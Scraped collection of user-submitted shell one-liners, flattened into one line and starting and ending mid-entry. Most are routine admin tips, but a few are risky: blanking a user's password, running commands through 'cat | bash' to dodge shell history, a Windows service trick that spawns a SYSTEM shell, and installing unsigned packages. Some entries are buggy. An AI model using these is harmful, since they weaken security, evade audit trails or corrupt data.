filebak="\"$REPLY.original\""; file="\"$REPLY\""; mv $file $filebak; sox -t mp3 $filebak $file rate 44k; done; }; # Create a tar file compressed with xz. tar cfJ tarfile.tar.xz pathnames # prints line numbers grep -n . datafile ; # Downloads files (through wget) from a list of URLs using a stored cookie wget --load-cookies -c -i # create an alias of the previous command alias foo="!!" # Get the information about the Apache loaded modules from command line httpd2 -M # restore .tar.gz on the fly tar xfzO .tar.gz | mysql -u root # Display only hosts up in network nmap -sP -PR -oG - `/sbin/ip -4 addr show | awk '/inet/ {print $2}' | sed 1d` # Calculate foldersize for each website on an ISPConfig environment ls -d1a /var/www/*/web | xargs du -hs # To find how Apache has been compiled from commandline httpd2 -V # Compressed Backup of the /etc tar jcpf /home/[usuario]/etc-$(hostname)-backup-$(date +%Y%m%d-%H%M%S).tar.bz2 /etc # Unix security checker tiger # Reorder file with max 100 file per folder folder=0;mkdir $folder; while find -maxdepth 1 -type f -exec mv "{}" $folder \; -quit ; do if [ $( ls $folder | wc -l ) -ge 100 ]; then folder=$(( $folder + 1 )); mkdir $folder; fi ; done # Edit all source files of project with vim, each on separate tab vim -p `ls *.java *.xml *.txt *.bnd 2>/dev/null` # ssh hostchange know_host improver sshostnew () {sed -i "$1d" $HOME/.ssh/known_hosts ; } # displays a reminder message at the specified time echo "DISPLAY=$DISPLAY xmessage convert db to innodb" | at 00:00 # Colored cal output cal | sed -E "2,8s/(^|[^0-9])($(date +%e))( |$)/\1$(echo "\033[0;36m\2\033[0m")\3/g" # Ignore ~/.vimrc when startup gVim gvim -u NONE -U NONE # Grab your bibtex file from CiteULike. curl -o "http://www.citeulike.org/bibtex/user/" # get users process list ps -u # Get all the HTTP HEAD responses from a list of urls in a file for file in `cat urls.txt`; do echo -n "$file " >> log.txt; curl --head $file >> log.txt ; done # bulk rename files with sed, one-liner for f in *; do mv "$f" "${f/foo/bar}"; done # bulk rename files with sed, one-liner ls | sed 'p;s/foo/bar/' | xargs -n2 mv # Rip CD ripit -c 0 --outputdir $1 --nosubmission # check open ports (both ipv4 and ipv6) lsof -Pi | grep LISTEN # SVN Add Recursively svn status | grep "^\?" | awk '{print $2}' | xargs svn add # Make an iso file out of your entire hard drive dd if=/dev/hda of=file.img # Find out my commits today in svn svn log | grep "$LOGNAME" | grep `date '+%Y-%m-%d'` # Convert all tabs in a file to spaces, assuming the tab width is 2 expand -t 2 # Create an eicar.com test virus echo 'K5B!C%@NC[4\CMK54(C^)7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' > /tmp/eicar.com # Pick the first program found from a list of alternatives find_alternatives(){ for i;do which "$i" >/dev/null && { echo "$i"; return 0;};done;return 1;} # removing those pesky malformed lines at the end of a text file.. cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfile # Check the backdoors and security.chkrootkit is a tool to locally check for sig ns of a rootkit.chkrootkit -x | less # Define Google Chrome urpmi media source for Mandriva/Mageia (works for both 32 -bit and 64-bit systems)urpmi.addmedia --update google-chrome http://dl.google.com/linux/chrome/rpm/stable/$(uname -m | sed -e "s/i.86/i386/") # Open file with sudo when there is no write-permission if test -w $1; then vim $1; else sudo vim $1; fi # which domain controller the user currently logged onto echo %logonserver% # Chmod all directories (excluding files) find public_html/ -type d -exec chmod 775 {} \; # HDD Performance Read Test dd if=10gb of=/dev/zero bs=1M count=10240 # Define Google Talk plugin urpmi media source for Mandriva/Mageia (works for bo th 32-bit and 64-bit systems)urpmi.addmedia --update google-talkplugin http://dl.google.com/linux/talkplugin/rpm/stable/$(uname -m | sed -e "s/i.86/i386/") # Show amigable path alias path='echo $PATH | tr ":" "\n"' # OSX script to change Terminal profiles based on machine name; use with case s tatement parameter matchingfunction setTerm() { PROFILE=${1}; echo "tell app \"Terminal\" to set current settings of first window to settings set \"${PROFILE}\""|osascript; }; # use ImageMagik to convert tint (hue rotation) of an icon set directory. mogrify -modulate 100,100,70 ../../icons/32x32/*.png # remove the last line of all html files in a directory for f in *.html; do head -n -1 $f > temp; cat temp > $f; rm temp; done # Sort a list of numbers on on line, separated by spaces. echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//" -e "s/ $//" # Selecting a random file/folder of a folder a=(*); echo ${a[$((RANDOM % ${#a[@]}))]} # grep the command-line-fu archive clgrep keyword # Get list of all Apache Virtual Host and which is default for each IP address httpd -S # Find the uid and gid of your apache process ps -o euid,egid --ppid `netstat --inet --inet6 -pln|awk '/:80 / { split($7,tmp, "/"); print tmp[1]; }'`|sort |uniq|grep -v EUID # Filtering IP address from ifconfig usefule in scripts IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'` # List debian package installed by size wajig large # Intall not signed packeges with yum yum --nogpgcheck install "examplePackage" # Get current pidgin status dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusGetCurrent # if you want the script run at reboot sudo update-rc.d -f nomemioscript start 99 2 3 4 5 # get linkspeed, ip-adress, mac-address and processor type from osx echo "-------------" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifconfig | grep status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig | grep ether >> nicinfo.txt; hostinfo | grep type >> nicinfo.txt; # if you want the script run at shutdown sudo update-rc.d -f nomescript stop 90 0 6 # See the order for DNS resolution on your Mac scutil --dns # get memory configuration (not consumption) for all running VMware virtual mach inesfor file in $( vmrun list | grep 'vmx$' | sort ); do printf "% 40s %s M\n" $(echo "$( echo -n ${file}:\ ; grep memsize $file )" | sed -e 's/.*\///' -e 's/"//g' -e 's/memsize.=//'); done; # bash screensaver revised while [ 1 ]; do clear; echo 'YOUR TEXT HERE' | figlet -f banner -t | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done # prints line numbers cat infile | while read str; do echo "$((++i)) - $str" ; done; # Compress Images using convert (ImageMagick) in a bulk find . -maxdepth 1 -iname '*jpg' -exec convert -quality 60 {} lowQ/{} \; # Generic date format date --iso # a pseudo-random coin flip in python echo "import random; print(random.choice(['heads', 'tails']))" | python # Add a 1 pixel padding around an image. convert -bordercolor Transparent -border 1x1 in.png out.png # Sets OpenFirmware pasword on a mac /usr/local/bin/OFPW -pass thepassword # prints line numbers while read str; do echo "$((++i)) - $str"; done < infile # translate what is in the clipboard in english and write it to the terminal tw translate.google.com.de-en `xsel` # set open firmware password command mode to require password to make changes /usr/local/bin/OFPW -mode 1 # regex to match an ip perl -wlne 'print $1 if /(([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5]))/' iplist # Spanish Numbers | # regex to match an ip echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])$' # Enable passwordless login sudo usermod -p $(mkpasswd '') user_id # Print all fields in a file/output from field N to the end of the line awk '{print substr($0, index($0,$N))}' # refresh texmacs font cache after installing new fonts texmacs --delete-font-cache # chain search and replace special characters to html entities in gvim %s/?/\ï/ge | %s/?/\é/ge | %s/?/"/ge | %s/?/"/ge | %s/?/'/ge | %s/?/'/ge | %s/?/\ê/ge | %s/?/\…/ge | %s/?/\è/ge | %s/?/\ó/ge | %s/?/\ö/ge | %s/?/\é/ge | %s/?/\–/ge | %s/?/\—/ge # Rename *.MP3 *.Mp3 *.mP3 etc.. to *.mp3. find ./ -iname "*.mp3" -type f -printf "mv '%p' '%p'\n" | sed -e "s/mp3'$/mp3'/I" | sh # for loop with leading zero in bash 3 for i in {0..1}{0..9}; do echo $i; done # Capture screen and default audio input device and generate an incompress AVI filegst-launch avimux name=mux ! filesink location=out.avi \ alsasrc ! audioconvert ! queue ! mux. istximagesrc name=videosource use-damage=false ! video/x-raw-rgb,framerate=10/1 ! videorate ! ffmpegcolorspace ! video/x-raw-yuv,framerate=10/1 ! mux. # pbzip2 tar pipe to untar pbzip2 -dck | tar xvf - # Jump to any directory above the current jda() { cd $(pwd | sed "s/\(\/$@\/\).*/\1/g"); } # Recursively search a directory tree for all .php .inc .html .htm .css .js file s for a certain stringfind . -type f \( -name "*.js" -o -name "*.php" -o -name "*.inc" -o -name "*.html" -o -name "*.htm" -o -name "*.css" \) -exec grep -il 'searchString' {} \; # easily find megabyte eating files or directories alias dush="du -xsm * | sort -n | awk '{ printf(\"%4s MB ./\",\$1) ; for (i=1;i<=NF;i++) { if (i>1) printf(\"%s \",\$i) } ; printf(\"\n\") }' | tail" # Convert KML to GPX w/ gpsbabel gpsbabel -i kml -f in.kml -o gpx -F out.gpx # run as system on windows @echo off && sc create CmdAsSystem type= own type= interact binPath= "cmd /c start cmd /k (cd c:\ ^& color ec ^& title ***** SYSTEM *****)" && net start CmdAsSystem && sc delete CmdAsSystem # Generate CHECK TABLE statements for all MySQL database tables on a server DD=`cat /etc/my.cnf | sed "s/#.*//g;" | grep datadir | tr '=' ' ' | gawk '{print $2;}'` && ( cd $DD ; find . -mindepth 2 | grep -v db\.opt | sed 's/\.\///g; s/\....$//g; s/\//./;' | sort | uniq | tr '/' '.' | gawk '{print "CHECK TABLE","`"$1"`",";";}' ) # View your motherboard's ACPI tables (in Debian & Ubuntu) sudo aptitude -y install iasl && sudo cat /sys/firmware/acpi/tables/DSDT > dsdt.dat && iasl -d dsdt.dat # dig this for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done # force change password for all user for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done # Extract all urls from the last firefox sessionstore.js file used. sed -e 's/{"url":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4 # Change the homepage of Chromium change-homepage(){ sed -ri 's|( "homepage": ").*(",)|\1'"$@"'\2|' .config/chromium/Default/Preferences; } # Get your public ip wget -qO - http://cfaj.freeshell.org/ipaddr.cgi # List complete size of directories (do not consider hidden directories) du --max-depth=1 | grep -v '\.\/\.' # find names of files ending in *log that have both foo and bar grep -l bar *.log | xargs grep -l foo # Convert DOS newlines (CR/LF) to Unix format fromdos # fast find (by filename; uses sh, less and sed) ff() { local a=$1; local b=$2; local c="$a"*/*"$b"*; case $# in [01])echo usage: ff drive string [match-no\(s\)];; 2)printf "%s\n" $c|less -SN;; 3)less $(printf "%s\n" $c|sed -n "$3"p|tr '\n' ' ');; esac; } # Change all instances of a word in all files in the current directory perl -pi -e 's/foo/bar/g' $(grep -l foo ./*) # Generate a Universally Unique Identifier (UUID) uuid # List complete size of directories (do not consider hidden directories) du -sh * | grep -v '\.\/\.' # List files with names in quotes. for i in *; do echo '"'$i'"'; done # git log -n 1 -p FILENAME| head -n 1 | awk -F " " '{print $2}' git last commit on a file. # Change all instances of a word in all files in the current directory and it's sub-directoriesperl -pi -e 's/foo/bar/g' $(grep -rl foo ./*) # For finding out if something is listening on a port and if so what the daemon is.lsfo -i :[port number] # return external ip host -t a dartsclink.com | sed 's/.*has address //' # List complete size of directories (do not consider hidden directories) du -sh `ls -p | grep /` # Create new repo in Cobbler for CentOS 5.3 updates cobbler repo add --name=CentOS-5.3-i386-updates --mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/ # Today's date on a yearly calendar... cal -y # Show apps that use internet connection at the moment. netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort # Weather on the Command line curl -s "http://www.google.com/ig/api?weather=New%20York" | sed 's|.*.*|\1|' # Merge tarballs cat 1.tar.gz 2.tar.gz | tar zxvif - # Scroll a message in a terminal titlebar function titlescroll { _X=0 _TITLEMSG=$1 _WIDTH=${2:-16} _TITLEMSG=`printf "%$((${#_TITLEMSG}+$_WIDTH))s" "$_TITLEMSG"` while `true` do _X=$(((_X+1)%${#_TITLEMSG})) xtitle "${_TITLEMSG:_X:_WIDTH}" done } # Remove Thumbs.db files from folders find ./ -name Thumbs.db -exec rm -rf '{}' + # Alternative way to get the root directory size in megabytes expr $(fdisk -s ` grep ' / ' /etc/mtab |cut -d " " -f1`) / 1024 # empty a file > filename # do a full file listing of every file found with locate locate -i yourfilename | sed 's/ /\\ /g' | xargs ls -lah | less # Format a flooppy with windows compatible disk mformat -f 1440 A: # [Gentoo] Input modules, commented, in your module.autoload file find /lib/modules/`uname -r`/ -type f -iname '*.o' -or -iname '*.ko' |grep -i -o '[a-z0-9]*[-|_]*[0-9a-z]*\.ko$' |xargs -I {} echo '# {}' >>/etc/modules.autoload.d/kernel-2.6 # Function to bind MySQL hostport to forward remote MySQL connection to localhos t.sshmysql() { ssh -L 13306:127.0.0.1:3306 -N $* & } # Ring the system bell after finishing a long script/compile myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a') # show your locale language keyboard setting locale | grep LANG= # Play newest or random YouTube video goyoutube() { d=/path/to/videos p=$d/playlist m=$d/*.mp4 f=$d/*.flv if [ "$1" == 'rand' ]; then ls -1 $m $f | shuf >$p else ls -1t $m $f >$p fi mplayer -geometry 500x400 -playlist $p } # All IP connected to my host netstat -nut | awk '$NF=="ESTABLISHED" {print $5}' | cut -d: -f1 | sort -u # Recursive replace of directory and file names in the current directory. find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/' # execute your commands and avoid history records cat | bash # Sum up total size and count of all certain filename pattern/regex find -regextype posix-egrep -regex ".*/[A-Z]{3}_201009[0-9]{2}.*" -printf "%f %s\n" | awk '{ SUM += $2;COUNT++ } END { print SUM/1024 " kb in " COUNT " files" }' # All IP connected to my host netstat -nut | sed '/ESTABLISHED/!d;s/.*[\t ]\+\(.*\):.*/\1/' | sort -u # Run a second copy of Firefox using the same profile on Mac OS X (cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote) # x bottles of beer on the wall graph (echo "plot '-' with lines"; for x in $(seq 1 100); do curl -s "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=$(echo $x bottles of beer on the wall|sed 's/ /%20/g')"|sed 's/.*"estimatedResultCount":"\([^"]*\)".*/\1\n/';done)|gnuplot -persist # Remove executable bit from all files in the current directory recursively, exc luding other directories, firm permissionschmod -R u=rw-x+X,g=r-x+X,o= . # view someone's twitter stream from terminal grabtweets() { curl -s -o $GT_TMP twitter.com/$1 | cat $GT_TMP | grep entry-content | sed -e :loop -e 's/<[^>]*>//g;/ $a} @w))[0]}' *.cpp # Wait for an already launched program to stop before starting a new command. while (ps -ef | grep [r]unning_program_name); do sleep 10; done; command_to_execute # Continue a current job in the background %1 & # Email if you disk is over 90% HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is """S" Full" } ') ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" TO@EMAIL.com -- -f FROM@EMAIL.com >/dev/null # Print line numbers sed = | sed 'N;s/\n/\t/' # Print just line 4 from a textfile sed '4!d' # create an mp3 with variable bitrate lame -h -V 6 track9.wav track9.mp3 # How far is Mac OS X 10.6 from 64-bit? file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3 # phpinfo from the command line php -i # Delete Mailer-Daemon messages mailq |awk '/MAILER-DAEMON/{gsub("*","");printf("postsuper -d %s\n",$1)}'|bash # Print just line 4 from a textfile perl -ne '$. == 4 && print && exit' # find and kill a zombie process kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'` # List of commands you use most often HISTTIMEFORMAT='' history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds ; gnuplot -persist <<<'plot "/tmp/cmds" using 1:xticlabels(2) with boxes' # phpinfo from the command line php -r "phpinfo();" # OS-X... create a quick look from the command line qlmanage -p "yourfilename" # sending message to a logined user of group write user anytext # Edit all files found having a specific string found by grep find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi # convert mp3 to ogg mp32ogg file.mp3 # Turn shell tracing and verbosity (set -xv) on/off with 1 command! function setx(){ sed '/[xv]/!Q2' <<< $- && { set +xv; export PS4=">>> "; } || { export PS4="`tput setaf 3`>>> `tput sgr0`"; set -xv; }; } # Print a row of characters across the terminal jot -b '#' -s '' $COLUMNS # Find all files over a set size and displays accordingly find / -type f -size +512000 | xargs ls -lh | awk '{ print $5 " " $6$7 ": " $9 }' # my command for downloading delicious web links, wget -r --wait=5 --quota=5000m --tries=3 --directory-prefix=/home/erin/Documents/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm # CPU architecture details cat /proc/cpuinfo # Find all files containing a word find . -name "*.php" -exec grep -il searchphrase {} \; # List only files in long format. ls -l | grep ^- # identify big file du -s * | sort -nr | head # Edit all files found having a specific string found by grep find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim # Pear install behind proxy pear config-set http_proxy http://myusername:mypassword@corporateproxy:8080 # know which version of the program is installed on your Debian and derivatives aptitude show $PROGRAM | grep Vers # Get minimum, current, maximum possible resolution of Xorg xrandr -q | grep -w Screen # split a postscript file file=orig.ps; for i in $(seq `grep "Pages:" $file | sed 's/%%Pages: //g'`); do psselect $i $file $i\_$file; done # Find the full path of an already running process readlink -f /proc//cmdline # Filenames ROT13 for each in *; do file="$each."; name=${file%%.*}; suffix=${file#*.}; mv "$each" "$(echo $name | rot13)${suffix:+.}${suffix%.}"; done # display only tcp netstat -4tnape # wget, tar xzvf, cd, ls wtzc () { wget "$@"; foo=`echo "$@" | sed 's:.*/::'`; tar xzvf $foo; blah=`echo $foo | sed 's:,*/::'`; bar=`echo $blah | sed -e 's/\(.*\)\..*/\1/' -e 's/\(.*\)\..*/\1/'`; cd $bar; ls; } # Split a file into equal size chunks and archive to (e)mail account. split -b4m file.tgz file.tgz. ; for i in file.tgz.*; do SUBJ="Backup Archive"; MSG="Archive File Attached"; echo $MSG | mutt -a $i -s $SUBJ YourEmail@(E)mail.com # Find Out My Linux Distribution Name and Version if [ -x /etc/*-release ]; then cat /etc/*-release ; else cat /etc/*-version ; fi # Delete Text Editor's Backup find . -name "*~" -exec rm {} \; # vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste ' is off, and so forth (works in insert-mode and command-mode)nmap :set paste!:set paste? # Greets the user appropriately echo -e "12 morning\n15 afternoon\n24 evening" | awk '{if ('`date +%H`' < $1) print "Good " $2}' # keep an eye on system load changes watch -n 7 -d 'uptime | sed s/.*users?, //' # Get DMX disk ID from the ODM database of a DMX attached disk. It is ok for vir tual disks.odmget -q "attribute=unique_id" CuAt |sed -n 's/.*name = "\(.*\)"/\1/p;s/.*value = "..........\(....\)..SYMMETRIX..EMCfcp.*"/0x\1/p;s/.*value =//p' # Create a temp file FILE=$(tempfile 2>/dev/null || echo .$RANDOM) # change the all files which contains xxxxx to yyyyyy grep -r -l xxxxx . | xargs perl -i -pe "s/xxxxx/yyyyy/g" # Loopback mount .iso on FreeBSD mount -t cd9660 /dev/`mdconfig -a -t vnode -f discimg.iso` /cdrom # Unarchive entire folder for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo $f&&rm $f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)7z e -qqo $f;;esac;done # Find all videos under current directory find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 # Get DELL Warranty Information from support.dell.com curl -Ls "http://support.dell.com/support/DPP/Index.aspx?c=us&cs=08W&l=en&s=biz&ServiceTag=$(dmidecode -s system-serial-number)"|egrep -i '>Your Warranty<|>Product Support for'|html2text -style pretty|egrep -v 'Request|View'|perl -pane 's/^(\s+|\})//g;' # Add to Instapaper instapaper-add(){ curl -s -d username="$1" -d password="$2" -d url="$3" https://www.instapaper.com/api/add; } # Search through files, ignoring .svn find . | grep -v svn # Connect to irssi over ssh rxvt-unicode -g 999x999 -sr -depth 32 -bg rg-ba:0000/0000/0000/dddd +sb -T irssi -n irssi -name irssichat -e ssh server.com -Xt screen -aAdr -RR irssi irssi # checkout directory and the files it contains, without any further subdirectori escvs checkout -l project/src/ # forking a process from gnome-terminal detached from the terminal. nohup gnome-open . 0/dev/null 2>/dev/null& # Find and edit multiple files given a regex in vim buffers vim `find . -iname '*.php'` # Get to the user for using system. ps awwux|awk '{print $1}'|sort|uniq # open new tab without in gnome-terminal WID=xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}' xdotool windowfocus $WID xdotool key ctrl+shift+t wmctrl -i -a $WID # transfer files locally to be sure that file permissions are kept correctly sho wing progresscp -av source dest # Remove CR LF from a text file sed -i 's/\r\n//' file.txt # top ten of biggest files/dirs in $PWD du -sm *|sort -rn|head -10 # Organize a TV-Series season season=1; for file in $(ls) ; do dir=$(echo $file | sed 's/.*S0$season\(E[0-9]\{2\}\).*/\1/'); mkdir $dir ; mv $file $dir; done # dolphins on the desktop (compiz) xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -count 20 -window-id WID & # Simple read and write test with Iozone iozone -s 2g -r 64 -i 0 -i 1 -t 1 # View the newest xkcd comic. wget -O xkcd_$(date +%y-%m-%d).png `lynx --dump http://xkcd.com/|grep png`; eog xkcd_$(date +%y-%m-%d).png # Extract tags in a file awk -vRS="" '//{gsub(/.*/,"");print}' file # Check a internet connetion is up. If it isn't write a log. while true; do /bin/ping -q -c1 -w3 8.8.8.8 2>&1 > /dev/null || echo "8.8.8.8 ping failed at $(date +%d/%m/%y) $(date +%H:%M:%S)" >> /var/log/ping.log; sleep 10; done & # Display a random man page man $(ls /bin | shuf | head -1) # Tricky implementation of two-dimensional array in Bash getarray(){ a=$1;b="${a[$2]}";eval "c=$b";echo "${c[$3]}";return 0;};a[0]="( a b c )";a[1]="( d e f )";getarray a 1 2 # shows the full path of shell commands whereis command # sed - match numbers between 1-100 cat file | sed -n -r '/^100$|^[0-9]{1,2}$/p' # Get weather STA=KILCHICA30 PAG=http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=${STA} D=($(curl -s $PAG | sed -n 's/.*<\(temp_f\|wind_dir\|wind_mph\)>\(.*\)<\/.*/\2/p')) echo ${D[1]}@${D[2]}mph ${D[0]}F # automate web search and open tabs in firefox cat search_items.txt | while read i; do surfraw google -browser=firefox $i; done # Perl One Liner to Generate a Random IP Address perl -e 'printf "%vd\n",pack "N",rand 256**4' # Remove two dashes ('--') before signature in Evolution Mail (>2.30.x) gconf-editor /apps/evolution/mail/composer/no_signature_delim false # Remove an unnecessary suffix from a file name for all files in a directory for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done # Exim version exim -bV # Cowsay Random Cow saying your fortune with colorized output files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` `fortune` | toilet -F gay -f term # Eliminate duplicate lines on a file cat file1.txt | uniq > file2.txt # Checks all MySQL tables myisamchk /path/to/mysql/files/*.MYI # transform relative URLs (shoddy hack but it works) wget -k $URL # search for the content in a directory find . -exec grep "test" '{}' /dev/null \; -print # bash function to check for something every 5 seconds watch -n # remove files and directories with acces time older than a given date find -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 <
.* \(.*\)